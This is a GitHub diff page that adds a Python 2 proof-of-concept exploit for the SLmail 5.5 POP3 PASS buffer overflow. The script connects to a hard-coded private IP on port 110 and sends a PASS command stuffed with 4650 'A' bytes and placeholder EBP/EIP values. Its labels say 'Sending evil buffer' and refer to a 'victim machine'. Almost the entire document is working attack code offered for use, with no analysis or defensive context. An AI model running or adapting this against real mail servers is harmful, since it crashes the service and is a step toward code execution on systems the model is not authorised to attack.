File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change 1+ #https://www.facebook.com/anjali.prakash3/posts/3340427346034753
2+ # Subscribed by Code House
3+ import struct
4+ import socket
5+
6+ print "\n \n ###############################################"
7+ print "\n SLmail 5.5 POP3 PASS Buffer Overflow"
8+ print "\n Found & coded by muts [at] offsec.com"
9+ print "\n For Exploitation Purposes Only!"
10+ print "\n \n ###############################################"
11+
12+
13+ s = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
14+
15+ buffer = '\x41 ' * 4650
16+ ebp = "ABCD" #41424344
17+ eip = "DEAB" #44454142
18+ stack = buffer + ebp + eip
19+
20+ try :
21+ print "\n Sending evil buffer..."
22+ s .connect (('192.168.195.132' ,110 ))
23+ data = s .recv (1024 )
24+ s .send ('USER username' + '\r \n ' )
25+ data = s .recv (1024 )
26+ s .send ('PASS ' + stack + '\r \n ' )
27+ data = s .recv (1024 )
28+ s .close ()
29+ print "\n Done! Try connecting to port on victim machine."
30+ except :
31+ print "Could not connect to POP3!"
32+
You can’t perform that action at this time.
0 commit comments